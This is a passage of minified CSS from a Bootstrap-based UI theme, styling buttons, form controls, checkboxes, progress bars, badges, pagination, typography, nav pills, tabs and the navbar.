rgba(0,0,0,.17)}.btn-danger.disabled,.btn-danger.disabled:hover,.btn-danger.disabled:focus,.btn-danger.disabled.focus,.btn-danger.disabled:active,.btn-danger.disabled.active,.btn-danger:disabled,.btn-danger:disabled:hover,.btn-danger:disabled:focus,.btn-danger:disabled.focus,.btn-danger:disabled:active,.btn-danger:disabled.active,.btn-danger[disabled],.btn-danger[disabled]:hover,.btn-danger[disabled]:focus,.btn-danger[disabled].focus,.btn-danger[disabled]:active,.btn-danger[disabled].active,fieldset[disabled] .btn-danger,fieldset[disabled] .btn-danger:hover,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:active,fieldset[disabled] .btn-danger.active{background-color:#ff3636;border-color:#ff3636}.btn-danger.btn-simple{color:#ff3636;border-color:#ff3636}.btn-danger.btn-simple:hover,.btn-danger.btn-simple:focus,.btn-danger.btn-simple:active{background-color:transparent;color:#f55;border-color:#f55;box-shadow:none}.btn-danger.btn-link{color:#ff3636}.btn-danger.btn-link:hover,.btn-danger.btn-link:focus,.btn-danger.btn-link:active{background-color:transparent;color:#f55;text-decoration:none;box-shadow:none}.btn-neutral{background-color:#fff;color:#f96332}.btn-neutral:hover,.btn-neutral:focus,.btn-neutral:active,.btn-neutral.active,.btn-neutral:active:focus,.btn-neutral:active:hover,.btn-neutral.active:focus,.btn-neutral.active:hover,.show>.btn-neutral.dropdown-toggle,.show>.btn-neutral.dropdown-toggle:focus,.show>.btn-neutral.dropdown-toggle:hover{background-color:#fff;color:#fff;box-shadow:none}.btn-neutral:hover{box-shadow:0 3px 8px 0 rgba(0,0,0,.17)}.btn-neutral.disabled,.btn-neutral.disabled:hover,.btn-neutral.disabled:focus,.btn-neutral.disabled.focus,.btn-neutral.disabled:active,.btn-neutral.disabled.active,.btn-neutral:disabled,.btn-neutral:disabled:hover,.btn-neutral:disabled:focus,.btn-neutral:disabled.focus,.btn-neutral:disabled:active,.btn-neutral:disabled.active,.btn-neutral[disabled],.btn-neutral[disabled]:hover,.btn-neutral[disabled]:focus,.btn-neutral[disabled].focus,.btn-neutral[disabled]:active,.btn-neutral[disabled].active,fieldset[disabled] .btn-neutral,fieldset[disabled] .btn-neutral:hover,fieldset[disabled] .btn-neutral:focus,fieldset[disabled] .btn-neutral.focus,fieldset[disabled] .btn-neutral:active,fieldset[disabled] .btn-neutral.active{background-color:#fff;border-color:#fff}.btn-neutral.btn-danger{color:#ff3636}.btn-neutral.btn-danger:hover,.btn-neutral.btn-danger:focus,.btn-neutral.btn-danger:active{color:#f55}.btn-neutral.btn-info{color:#2ca8ff}.btn-neutral.btn-info:hover,.btn-neutral.btn-info:focus,.btn-neutral.btn-info:active{color:#4bb5ff}.btn-neutral.btn-warning{color:#ffb236}.btn-neutral.btn-warning:hover,.btn-neutral.btn-warning:focus,.btn-neutral.btn-warning:active{color:#ffbe55}.btn-neutral.btn-success{color:#18ce0f}.btn-neutral.btn-success:hover,.btn-neutral.btn-success:focus,.btn-neutral.btn-success:active{color:#1beb11}.btn-neutral.btn-default{color:#888}.btn-neutral.btn-default:hover,.btn-neutral.btn-default:focus,.btn-neutral.btn-default:active{color:#979797}.btn-neutral.active,.btn-neutral:active,.btn-neutral:active:focus,.btn-neutral:active:hover,.btn-neutral.active:focus,.btn-neutral.active:hover,.show>.btn-neutral.dropdown-toggle,.show>.btn-neutral.dropdown-toggle:focus,.show>.btn-neutral.dropdown-toggle:hover{background-color:#fff;color:#fa7a50;box-shadow:none}.btn-neutral:hover,.btn-neutral:focus{color:#fa7a50}.btn-neutral:hover:not(.nav-link),.btn-neutral:focus:not(.nav-link){box-shadow:none}.btn-neutral.btn-simple{color:#fff;border-color:#fff}.btn-neutral.btn-simple:hover,.btn-neutral.btn-simple:focus,.btn-neutral.btn-simple:active{background-color:transparent;color:#fff;border-color:#fff;box-shadow:none}.btn-neutral.btn-link{color:#fff}.btn-neutral.btn-link:hover,.btn-neutral.btn-link:focus,.btn-neutral.btn-link:active{background-color:transparent;color:#fff;text-decoration:none;box-shadow:none}.btn:disabled,.btn[disabled],.btn.disabled{opacity:.5;filter:alpha(opacity=50)}.btn-round{border-width:1px;border-radius:30px!important;padding:11px 23px}.btn-round.btn-simple{padding:10px 22px}.btn-simple{border:1px solid;border-color:#888;padding:10px 22px;background-color:transparent}.btn-simple.disabled,.btn-simple.disabled:hover,.btn-simple.disabled:focus,.btn-simple.disabled.focus,.btn-simple.disabled:active,.btn-simple.disabled.active,.btn-simple:disabled,.btn-simple:disabled:hover,.btn-simple:disabled:focus,.btn-simple:disabled.focus,.btn-simple:disabled:active,.btn-simple:disabled.active,.btn-simple[disabled],.btn-simple[disabled]:hover,.btn-simple[disabled]:focus,.btn-simple[disabled].focus,.btn-simple[disabled]:active,.btn-simple[disabled].active,fieldset[disabled] .btn-simple,fieldset[disabled] .btn-simple:hover,fieldset[disabled] .btn-simple:focus,fieldset[disabled] .btn-simple.focus,fieldset[disabled] .btn-simple:active,fieldset[disabled] .btn-simple.active,.btn-link.disabled,.btn-link.disabled:hover,.btn-link.disabled:focus,.btn-link.disabled.focus,.btn-link.disabled:active,.btn-link.disabled.active,.btn-link:disabled,.btn-link:disabled:hover,.btn-link:disabled:focus,.btn-link:disabled.focus,.btn-link:disabled:active,.btn-link:disabled.active,.btn-link[disabled],.btn-link[disabled]:hover,.btn-link[disabled]:focus,.btn-link[disabled].focus,.btn-link[disabled]:active,.btn-link[disabled].active,fieldset[disabled] .btn-link,fieldset[disabled] .btn-link:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link.focus,fieldset[disabled] .btn-link:active,fieldset[disabled] .btn-link.active{background-color:transparent}.btn-lg{font-size:1em;border-radius:.25rem;padding:15px 48px}.btn-lg.btn-simple{padding:14px 47px}.btn-sm{font-size:14px;border-radius:.1875rem;padding:5px 15px}.btn-sm.btn-simple{padding:4px 14px}.btn-link{border:0;padding:.5rem .7rem;background-color:transparent}.btn-wd{min-width:140px}.btn-group.select{width:100%}.btn-group.select .btn{text-align:left}.btn-group.select .caret{position:absolute;top:50%;margin-top:-1px;right:8px}.form-control::-moz-placeholder{color:#ddd;opacity:1;filter:alpha(opacity=100)}.form-control:-moz-placeholder{color:#ddd;opacity:1;filter:alpha(opacity=100)}.form-control::-webkit-input-placeholder{color:#ddd;opacity:1;filter:alpha(opacity=100)}.form-control:-ms-input-placeholder{color:#ddd;opacity:1;filter:alpha(opacity=100)}.form-control{background-color:transparent;border:1px solid #e3e3e3;border-radius:30px;color:#2c2c2c;line-height:normal;font-size:.8571em;-webkit-transition:color .3s ease-in-out,border-color .3s ease-in-out,background-color .3s ease-in-out;-moz-transition:color .3s ease-in-out,border-color .3s ease-in-out,background-color .3s ease-in-out;-o-transition:color .3s ease-in-out,border-color .3s ease-in-out,background-color .3s ease-in-out;-ms-transition:color .3s ease-in-out,border-color .3s ease-in-out,background-color .3s ease-in-out;transition:color .3s ease-in-out,border-color .3s ease-in-out,background-color .3s ease-in-out;-webkit-box-shadow:none;box-shadow:none}.has-success .form-control{border-color:#e3e3e3}.form-control:focus{border:1px solid #f96332;-webkit-box-shadow:none;box-shadow:none;outline:0!important;color:#2c2c2c}.form-control:focus+.input-group-addon,.form-control:focus~.input-group-addon{border:1px solid #f96332;border-left:none;background-color:transparent}.has-success .form-control,.has-error .form-control,.has-success .form-control:focus,.has-error .form-control:focus{-webkit-box-shadow:none;box-shadow:none}.has-success .form-control:focus{border-color:#1be611}.has-danger .form-control.form-control-success,.has-danger .form-control.form-control-danger,.has-success .form-control.form-control-success,.has-success .form-control.form-control-danger{background-image:none}.has-danger .form-control{border-color:#ffcfcf;color:#ff3636;background-color:rgba(222,222,222,.1)}.has-danger .form-control:focus{background-color:#fff}.form-control+.form-control-feedback{border-radius:.25rem;font-size:14px;margin-top:0;position:absolute;left:18px;bottom:-20px;vertical-align:middle}.open .form-control{border-radius:.25rem .25rem 0 0;border-bottom-color:transparent}.form-control+.input-group-addon{background-color:#fff}.has-success:after,.has-danger:after{font-family:nucleo outline;content:"\ea22";display:inline-block;position:absolute;right:15px;bottom:10px;color:#18ce0f;font-size:11px}.has-success.input-lg:after,.has-danger.input-lg:after{font-size:13px;top:13px}.has-danger:after{content:"\ea53";color:#ff3636}.form-group.form-group-no-border.input-lg .input-group-addon,.input-group.form-group-no-border.input-lg .input-group-addon{padding:15px 0 15px 19px}.form-group.form-group-no-border.input-lg .form-control,.input-group.form-group-no-border.input-lg .form-control{padding:15px 19px}.form-group.form-group-no-border.input-lg .form-control+.input-group-addon,.input-group.form-group-no-border.input-lg .form-control+.input-group-addon{padding:15px 19px 15px 0}.form-group.input-lg .form-control,.input-group.input-lg .form-control{padding:14px 18px}.form-group.input-lg .form-control+.input-group-addon,.input-group.input-lg .form-control+.input-group-addon{padding:14px 18px 14px 0}.form-group.input-lg .input-group-addon,.input-group.input-lg .input-group-addon{padding:14px 0 15px 18px}.form-group.input-lg .input-group-addon+.form-control,.input-group.input-lg .input-group-addon+.form-control{padding:15px 18px 15px 16px}.form-group.form-group-no-border .form-control,.input-group.form-group-no-border .form-control{padding:11px 19px}.form-group.form-group-no-border .form-control+.input-group-addon,.input-group.form-group-no-border .form-control+.input-group-addon{padding:11px 19px 11px 0}.form-group.form-group-no-border .input-group-addon,.input-group.form-group-no-border .input-group-addon{padding:11px 0 11px 19px}.form-group .form-control,.input-group .form-control{padding:10px 18px}.form-group .form-control+.input-group-addon,.input-group .form-control+.input-group-addon{padding:10px 18px 10px 0}.form-group .input-group-addon,.input-group .input-group-addon{padding:10px 0 10px 18px}.form-group .input-group-addon+.form-control,.form-group .input-group-addon~.form-control,.input-group .input-group-addon+.form-control,.input-group .input-group-addon~.form-control{padding:10px 19px 11px 16px}.form-group.form-group-no-border .form-control,.form-group.form-group-no-border .form-control+.input-group-addon,.input-group.form-group-no-border .form-control,.input-group.form-group-no-border .form-control+.input-group-addon{background-color:rgba(222,222,222,.3);border:none}.form-group.form-group-no-border .form-control:focus,.form-group.form-group-no-border .form-control:active,.form-group.form-group-no-border .form-control:active,.form-group.form-group-no-border .form-control+.input-group-addon:focus,.form-group.form-group-no-border .form-control+.input-group-addon:active,.form-group.form-group-no-border .form-control+.input-group-addon:active,.input-group.form-group-no-border .form-control:focus,.input-group.form-group-no-border .form-control:active,.input-group.form-group-no-border .form-control:active,.input-group.form-group-no-border .form-control+.input-group-addon:focus,.input-group.form-group-no-border .form-control+.input-group-addon:active,.input-group.form-group-no-border .form-control+.input-group-addon:active{border:none;background-color:rgba(222,222,222,.5)}.form-group.form-group-no-border .form-control:focus+.input-group-addon,.input-group.form-group-no-border .form-control:focus+.input-group-addon{background-color:rgba(222,222,222,.5)}.form-group.form-group-no-border .input-group-addon,.input-group.form-group-no-border .input-group-addon{background-color:rgba(222,222,222,.3);border:none}.has-error .form-control-feedback,.has-error .control-label{color:#ff3636}.has-success .form-control-feedback,.has-success .control-label{color:#18ce0f}.input-group-addon{background-color:#fff;border:1px solid #e3e3e3;border-radius:30px;color:#555;padding:-.5rem 0 -.5rem -.3rem;-webkit-transition:color .3s ease-in-out,border-color .3s ease-in-out,background-color .3s ease-in-out;-moz-transition:color .3s ease-in-out,border-color .3s ease-in-out,background-color .3s ease-in-out;-o-transition:color .3s ease-in-out,border-color .3s ease-in-out,background-color .3s ease-in-out;-ms-transition:color .3s ease-in-out,border-color .3s ease-in-out,background-color .3s ease-in-out;transition:color .3s ease-in-out,border-color .3s ease-in-out,background-color .3s ease-in-out}.has-success .input-group-addon,.has-danger .input-group-addon{background-color:#fff}.has-danger .form-control:focus+.input-group-addon{color:#ff3636}.has-success .form-control:focus+.input-group-addon{color:#18ce0f}.input-group-addon+.form-control,.input-group-addon~.form-control{padding:-.5rem .7rem;padding-left:18px}.input-group-addon i{width:17px}.input-group-focus .input-group-addon{background-color:#fff;border-color:#f96332}.input-group-focus.form-group-no-border .input-group-addon{background-color:rgba(222,222,222,.5)}.input-group,.form-group{margin-bottom:10px}.input-group[disabled] .input-group-addon{background-color:#e3e3e3}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle){border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not(:first-child){border-left:0}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#e3e3e3;color:#888;cursor:not-allowed}.input-group-btn .btn{border-width:1px;padding:11px .7rem}.input-group-btn .btn-default:not(.btn-fill){border-color:#ddd}.input-group-btn:last-child>.btn{margin-left:0}textarea.form-control{max-width:100%;padding:10px 10px 0 0;resize:none;border:none;border-bottom:1px solid #e3e3e3;border-radius:0;line-height:2}textarea.form-control:focus,textarea.form-control:active{border-left:none;border-top:none;border-right:none}.has-success.form-group .form-control,.has-success.form-group.form-group-no-border .form-control,.has-danger.form-group .form-control,.has-danger.form-group.form-group-no-border .form-control{padding-right:40px}.form-group{position:relative}.form-group.has-error,.form-group.has-danger{margin-bottom:20px}.checkbox,.radio{margin-bottom:12px}.checkbox label,.radio label{display:inline-block;position:relative;cursor:pointer;padding-left:35px;line-height:26px;margin-bottom:0}.radio label{padding-left:28px}.checkbox label::before,.checkbox label::after{content:" ";display:inline-block;position:absolute;width:26px;height:26px;left:0;cursor:pointer;border-radius:3px;top:0;background-color:transparent;border:1px solid #e3e3e3;-webkit-transition:opacity .3s linear;-moz-transition:opacity .3s linear;-o-transition:opacity .3s linear;-ms-transition:opacity .3s linear;transition:opacity .3s linear}.checkbox label::after{font-family:nucleo outline;content:"\ea22";top:0;text-align:center;font-size:14px;opacity:0;color:#555;border:0;background-color:inherit}.checkbox input[type=checkbox],.radio input[type=radio]{opacity:0;position:absolute;visibility:hidden}.checkbox input[type=checkbox]:checked+label::after{opacity:1}.checkbox input[type=checkbox]:disabled+label,.radio input[type=radio]:disabled+label{color:#9a9a9a;opacity:.5}.checkbox input[type=checkbox]:disabled+label::before,.checkbox input[type=checkbox]:disabled+label::after{cursor:not-allowed}.checkbox input[type=checkbox]:disabled+label,.radio input[type=radio]:disabled+label{cursor:not-allowed}.checkbox.checkbox-circle label::before{border-radius:50%}.checkbox.checkbox-inline{margin-top:0}.checkbox-primary input[type=checkbox]:checked+label::before{background-color:#428bca;border-color:#428bca}.checkbox-primary input[type=checkbox]:checked+label::after{color:#fff}.checkbox-danger input[type=checkbox]:checked+label::before{background-color:#d9534f;border-color:#d9534f}.checkbox-danger input[type=checkbox]:checked+label::after{color:#fff}.checkbox-info input[type=checkbox]:checked+label::before{background-color:#5bc0de;border-color:#5bc0de}.checkbox-info input[type=checkbox]:checked+label::after{color:#fff}.checkbox-warning input[type=checkbox]:checked+label::before{background-color:#f0ad4e;border-color:#f0ad4e}.checkbox-warning input[type=checkbox]:checked+label::after{color:#fff}.checkbox-success input[type=checkbox]:checked+label::before{background-color:#5cb85c;border-color:#5cb85c}.checkbox-success input[type=checkbox]:checked+label::after{color:#fff}.radio label::before,.radio label::after{content:" ";width:20px;height:20px;border-radius:50%;border:1px solid #e3e3e3;display:inline-block;position:absolute;left:3px;top:3px;padding:1px;-webkit-transition:opacity .3s linear;-moz-transition:opacity .3s linear;-o-transition:opacity .3s linear;-ms-transition:opacity .3s linear;transition:opacity .3s linear}.radio input[type=radio]+label:after,.radio input[type=radio]{opacity:0}.radio input[type=radio]:checked+label::after{width:4px;height:4px;background-color:#555;border-color:#555;top:11px;left:11px;opacity:1}.radio input[type=radio]:checked+label::after{opacity:1}.radio input[type=radio]:disabled+label{color:#9a9a9a}.radio input[type=radio]:disabled+label::before,.radio input[type=radio]:disabled+label::after{color:#9a9a9a}.radio.radio-inline{margin-top:0}.progress-container{position:relative}.progress-container+.progress-container,.progress-container~.progress-container{margin-top:15px}.progress-container .progress-badge{color:#888;font-size:.8571em;text-transform:uppercase}.progress-container .progress{height:1px;border-radius:0;box-shadow:none;background:rgba(222,222,222,.8);margin-top:14px}.progress-container .progress .progress-bar{box-shadow:none;background-color:#888}.progress-container .progress .progress-value{position:absolute;top:2px;right:0;color:#888;font-size:.8571em}.progress-container.progress-neutral .progress{background:rgba(255,255,255,.3)}.progress-container.progress-neutral .progress-bar{background:#fff}.progress-container.progress-neutral .progress-value,.progress-container.progress-neutral .progress-badge{color:#fff}.progress-container.progress-primary .progress{background:rgba(249,99,50,.3)}.progress-container.progress-primary .progress-bar{background:#f96332}.progress-container.progress-primary .progress-value,.progress-container.progress-primary .progress-badge{color:#f96332}.progress-container.progress-info .progress{background:rgba(44,168,255,.3)}.progress-container.progress-info .progress-bar{background:#2ca8ff}.progress-container.progress-info .progress-value,.progress-container.progress-info .progress-badge{color:#2ca8ff}.progress-container.progress-success .progress{background:rgba(24,206,15,.3)}.progress-container.progress-success .progress-bar{background:#18ce0f}.progress-container.progress-success .progress-value,.progress-container.progress-success .progress-badge{color:#18ce0f}.progress-container.progress-warning .progress{background:rgba(255,178,54,.3)}.progress-container.progress-warning .progress-bar{background:#ffb236}.progress-container.progress-warning .progress-value,.progress-container.progress-warning .progress-badge{color:#ffb236}.progress-container.progress-danger .progress{background:rgba(255,54,54,.3)}.progress-container.progress-danger .progress-bar{background:#ff3636}.progress-container.progress-danger .progress-value,.progress-container.progress-danger .progress-badge{color:#ff3636}.badge{border-radius:8px;padding:4px 8px;text-transform:uppercase;font-size:.7142em;line-height:12px;background-color:transparent;border:1px solid;margin-bottom:5px;border-radius:.875rem}.badge-icon{padding:.4em .55em}.badge-icon i{font-size:.8em}.badge-default{border-color:#888;color:#888}.badge-primary{border-color:#f96332;color:#f96332}.badge-info{border-color:#2ca8ff;color:#2ca8ff}.badge-success{border-color:#18ce0f;color:#18ce0f}.badge-warning{border-color:#ffb236;color:#ffb236}.badge-danger{border-color:#ff3636;color:#ff3636}.badge-neutral{border-color:#fff;color:#fff}.pagination .page-item .page-link{border:0;border-radius:30px!important;transition:all .3s;padding:0 11px;margin:0 3px;min-width:30px;text-align:center;height:30px;line-height:30px;color:#2c2c2c;cursor:pointer;font-size:14px;text-transform:uppercase;background:transparent}.pagination .page-item .page-link:hover,.pagination .page-item .page-link:focus{color:#2c2c2c;background-color:rgba(222,222,222,.3);border:none}.pagination .arrow-margin-left,.pagination .arrow-margin-right{position:absolute}.pagination .arrow-margin-right{right:0}.pagination .arrow-margin-left{left:0}.pagination .page-item.active>.page-link{color:#e3e3e3;box-shadow:0 5px 25px 0 rgba(0,0,0,.2)}.pagination .page-item.active>.page-link,.pagination .page-item.active>.page-link:focus,.pagination .page-item.active>.page-link:hover{background-color:#888;border-color:#888;color:#fff}.pagination .page-item.disabled>.page-link{opacity:.5;background-color:rgba(255,255,255,.2);color:#fff}.pagination.pagination-info .page-item.active>.page-link,.pagination.pagination-info .page-item.active>.page-link:focus,.pagination.pagination-info .page-item.active>.page-link:hover{background-color:#2ca8ff;border-color:#2ca8ff}.pagination.pagination-success .page-item.active>.page-link,.pagination.pagination-success .page-item.active>.page-link:focus,.pagination.pagination-success .page-item.active>.page-link:hover{background-color:#18ce0f;border-color:#18ce0f}.pagination.pagination-primary .page-item.active>.page-link,.pagination.pagination-primary .page-item.active>.page-link:focus,.pagination.pagination-primary .page-item.active>.page-link:hover{background-color:#f96332;border-color:#f96332}.pagination.pagination-warning .page-item.active>.page-link,.pagination.pagination-warning .page-item.active>.page-link:focus,.pagination.pagination-warning .page-item.active>.page-link:hover{background-color:#ffb236;border-color:#ffb236}.pagination.pagination-danger .page-item.active>.page-link,.pagination.pagination-danger .page-item.active>.page-link:focus,.pagination.pagination-danger .page-item.active>.page-link:hover{background-color:#ff3636;border-color:#ff3636}.pagination.pagination-neutral .page-item>.page-link{color:#fff}.pagination.pagination-neutral .page-item>.page-link:focus,.pagination.pagination-neutral .page-item>.page-link:hover{background-color:rgba(255,255,255,.2);color:#fff}.pagination.pagination-neutral .page-item.active>.page-link,.pagination.pagination-neutral .page-item.active>.page-link:focus,.pagination.pagination-neutral .page-item.active>.page-link:hover{background-color:#fff;border-color:#fff;color:#f96332}button,input,optgroup,select,textarea{font-family:montserrat,helvetica neue,Arial,sans-serif}h1,h2,h3,h4,h5,h6{font-weight:400}small{font-size:60%}a{color:#f96332}a:hover,a:focus{color:#f96332}h1,.h1{font-size:3.5em;line-height:1.15;margin-bottom:30px}h1 small,.h1 small{font-weight:700;text-transform:uppercase;opacity:.8}h2,.h2{font-size:2.5em;margin-bottom:30px}h3,.h3{font-size:2em;margin-bottom:30px;line-height:1.4em}h4,.h4{font-size:1.714em;line-height:1.45em;margin-top:30px;margin-bottom:15px}h4+.category,h4.title+.category,.h4+.category,.h4.title+.category{margin-top:-10px}h5,.h5{font-size:1.57em;line-height:1.4em;margin-bottom:15px}h6,.h6{font-size:1em;font-weight:700;text-transform:uppercase}p{line-height:1.61em}.description p,p.description{font-size:1.14em}.title{font-weight:700}.title.title-up{text-transform:uppercase}.title.title-up a{color:#2c2c2c;text-decoration:none}.title+.category{margin-top:-25px}.description,.card-description,.footer-big p{color:#9a9a9a;font-weight:300}.category{text-transform:uppercase;font-weight:700;color:#9a9a9a}.text-primary{color:#f96332!important}.text-info{color:#2ca8ff!important}.text-success{color:#18ce0f!important}.text-warning{color:#ffb236!important}.text-danger{color:#ff3636!important}.text-black{color:#444}.blockquote{border-left:none;border:1px solid #888;padding:20px;font-size:1.1em;line-height:1.8}.blockquote small{color:#888;font-size:.8571em;text-transform:uppercase}.blockquote.blockquote-primary{border-color:#f96332;color:#f96332}.blockquote.blockquote-primary small{color:#f96332}.blockquote.blockquote-danger{border-color:#ff3636;color:#ff3636}.blockquote.blockquote-danger small{color:#ff3636}.blockquote.blockquote-white{border-color:rgba(255,255,255,.8);color:#fff}.blockquote.blockquote-white small{color:rgba(255,255,255,.8)}body{color:#2c2c2c;font-size:14px;font-family:montserrat,helvetica neue,Arial,sans-serif;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased}.main{position:relative;background:#fff}.nav-pills .nav-link,.nav-item .nav-link,.navbar,.nav-tabs .nav-link{-webkit-transition:all 300ms ease 0s;-moz-transition:all 300ms ease 0s;-o-transition:all 300ms ease 0s;-ms-transition:all 300ms ease 0s;transition:all 300ms ease 0s}.dropdown-toggle:after,.bootstrap-switch-label:before{-webkit-transition:all 150ms ease 0s;-moz-transition:all 150ms ease 0s;-o-transition:all 150ms ease 0s;-ms-transition:all 150ms ease 0s;transition:all 150ms ease 0s}.dropdown-toggle[aria-expanded=true]:after{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.button-bar{display:block;position:relative;width:22px;height:1px;border-radius:1px;background:#fff}.button-bar+.button-bar{margin-top:7px}.button-bar:nth-child(2){width:17px}.open{-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-o-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1;filter:alpha(opacity=100);visibility:visible}.separator{height:2px;width:44px;background-color:#888;margin:20px auto}.separator.separator-primary{background-color:#f96332}.nav-pills .nav-item .nav-link{padding:0 15.5px;text-align:center;height:60px;width:60px;font-weight:400;color:#9a9a9a;margin-right:19px;background-color:rgba(222,222,222,.3);border-radius:30px}.nav-pills .nav-item .nav-link:hover{background-color:rgba(222,222,222,.3)}.nav-pills .nav-item .nav-link.active,.nav-pills .nav-item .nav-link.active:focus,.nav-pills .nav-item .nav-link.active:hover{background-color:#9a9a9a;color:#fff;box-shadow:0 5px 35px 0 rgba(0,0,0,.3)}.nav-pills .nav-item .nav-link.disabled,.nav-pills .nav-item .nav-link:disabled,.nav-pills .nav-item .nav-link[disabled]{opacity:.5}.nav-pills .nav-item i{display:block;font-size:20px;line-height:60px}.nav-pills.nav-pills-neutral .nav-item .nav-link{background-color:rgba(255,255,255,.2);color:#fff}.nav-pills.nav-pills-neutral .nav-item .nav-link.active,.nav-pills.nav-pills-neutral .nav-item .nav-link.active:focus,.nav-pills.nav-pills-neutral .nav-item .nav-link.active:hover{background-color:#fff;color:#f96332}.nav-pills.nav-pills-primary .nav-item .nav-link.active,.nav-pills.nav-pills-primary .nav-item .nav-link.active:focus,.nav-pills.nav-pills-primary .nav-item .nav-link.active:hover{background-color:#f96332}.nav-pills.nav-pills-info .nav-item .nav-link.active,.nav-pills.nav-pills-info .nav-item .nav-link.active:focus,.nav-pills.nav-pills-info .nav-item .nav-link.active:hover{background-color:#2ca8ff}.nav-pills.nav-pills-success .nav-item .nav-link.active,.nav-pills.nav-pills-success .nav-item .nav-link.active:focus,.nav-pills.nav-pills-success .nav-item .nav-link.active:hover{background-color:#18ce0f}.nav-pills.nav-pills-warning .nav-item .nav-link.active,.nav-pills.nav-pills-warning .nav-item .nav-link.active:focus,.nav-pills.nav-pills-warning .nav-item .nav-link.active:hover{background-color:#ffb236}.nav-pills.nav-pills-danger .nav-item .nav-link.active,.nav-pills.nav-pills-danger .nav-item .nav-link.active:focus,.nav-pills.nav-pills-danger .nav-item .nav-link.active:hover{background-color:#ff3636}.tab-space{padding:20px 0 50px 0}.nav-align-center{text-align:center}.nav-align-center .nav-pills{display:inline-flex}.btn-twitter{color:#55acee}.btn-twitter:hover,.btn-twitter:focus,.btn-twitter:active{color:#3ea1ec}.btn-facebook{color:#3b5998}.btn-facebook:hover,.btn-facebook:focus,.btn-facebook:active{color:#344e86}.btn-google{color:#dd4b39}.btn-google:hover,.btn-google:focus,.btn-google:active{color:#d73925}.btn-linkedin{color:#0077b5}.btn-linkedin:hover,.btn-linkedin:focus,.btn-linkedin:active{color:#00669c}.nav-tabs{border:0;padding:15px .7rem}.nav-tabs>.nav-item>.nav-link{color:#888;margin:0;margin-right:5px;background-color:transparent;border:1px solid transparent;border-radius:30px;font-size:14px;padding:11px 23px;line-height:1.5}.nav-tabs>.nav-item>.nav-link:hover{background-color:transparent}.nav-tabs>.nav-item>.nav-link.active{border:1px solid #888;border-radius:30px}.nav-tabs>.nav-item>.nav-link i.now-ui-icons{font-size:14px;position:relative;top:1px;margin-right:3px}.nav-tabs>.nav-item.disabled>.nav-link,.nav-tabs>.nav-item.disabled>.nav-link:hover{color:rgba(255,255,255,.5)}.nav-tabs.nav-tabs-neutral>.nav-item>.nav-link{color:#fff}.nav-tabs.nav-tabs-neutral>.nav-item>.nav-link.active{border-color:rgba(255,255,255,.5);color:#fff}.nav-tabs.nav-tabs-primary>.nav-item>.nav-link.active{border-color:#f96332;color:#f96332}.nav-tabs.nav-tabs-info>.nav-item>.nav-link.active{border-color:#2ca8ff;color:#2ca8ff}.nav-tabs.nav-tabs-danger>.nav-item>.nav-link.active{border-color:#ff3636;color:#ff3636}.nav-tabs.nav-tabs-warning>.nav-item>.nav-link.active{border-color:#ffb236;color:#ffb236}.nav-tabs.nav-tabs-success>.nav-item>.nav-link.active{border-color:#18ce0f;color:#18ce0f}.navbar{padding-top:.625rem;padding-bottom:.625rem;min-height:53px;margin-bottom:20px;box-shadow:0 0 20px 0 rgba(0,0,0,.15)}.navbar a{vertical-align:middle}.navbar a:not(.btn):not(.dropdown-item){color:#fff}.navbar p{display:inline-block;margin:0;line-height:21px}.navbar .navbar-nav.navbar-logo{position:absolute;left:0;right:0;margin:0 auto;width:49px;top:-4px}.navbar .navbar-nav .nav-link.btn{padding:11px 22px}.navbar .navbar-nav .nav-link.btn.btn-lg{padding:15px 48px}.navbar .navbar-nav .nav-link.btn.btn-sm{padding:5px 15px}.navbar .navbar-nav .nav-link:not(.btn){text-transform:uppercase;font-size:.7142em;padding:.5rem .7rem;line-height:1.625rem}.navbar .navbar-nav .nav-link:not(.btn) i.fa+p,.navbar .navbar-nav .nav-link:not(.btn) i.now-ui-icons+p{margin-left:5px}.navbar .navbar-nav .nav-link:not(.btn) i.fa,.navbar .navbar-nav .nav-link:not(.btn) i.now-ui-icons{font-size:18px;position:relative;top:2px;text-align:center;width:21px}.navbar .navbar-nav .nav-link:not(.btn) i.now-ui-icons{top:4px;font-size:16px}.navbar .navbar-nav .nav-link:not(.btn).profile-photo .profile-photo-small{width:27px;height:27px}.navbar .navbar-nav .nav-link:not(.btn).disabled{opacity:.5;color:#fff}.navbar .navbar-nav .nav-item.active .nav-link:not(.btn),.navbar .navbar-nav .nav-item .nav-link:not(.btn):focus,.navbar .navbar-nav .nav-item .nav-link:not(.btn):hover,.navbar .navbar-nav .nav-item .nav-link:not(.btn):active{background-color:rgba(255,255,255,.2);border-radius:.1875rem}.navbar .logo-container{width:27px;height:27px;overflow:hidden;margin:0 auto;border-radius:50%;border:1px solid transparent}.navbar .navbar-brand{text-transform:uppercase;font-size:.8571em;padding-top:.5rem;padding-bottom:.5rem;line-height:1.625rem}.navbar .navbar-toggler{width:37px;height:27px;outline:0;cursor:pointer}.navbar .navbar-toggler.navbar-toggler-left{position:relative;left:0;padding-left:0}.navbar .navbar-toggler:hover .navbar-toggler-bar.bar2{width:22px}.navbar .button-dropdown .navbar-toggler-bar:nth-child(2){width:17px}.navbar.navbar-transparent{background-color:transparent!important;box-shadow:none;color:#fff;padding-top:20px}.navbar.bg-white:not(.navbar-transparent) a:not(.dropdown-item){color:#888}.navbar.bg-white:not(.navbar-transparent) a:not(.dropdown-item).disabled{opacity:.5;color:#888}.navbar.bg-white:not(.navbar-transparent) .button-bar{background:#888}.navbar.bg-white:not(.navbar-transparent) .nav-item.active .nav-link:not(.btn),.navbar.bg-white:not(.navbar-transparent) .nav-item .nav-link:not(.btn):focus,.navbar.bg-white:not(.navbar-transparent) .nav-item .nav-link:not(.btn):hover,.navbar.bg-white:not(.navbar-transparent) .nav-item 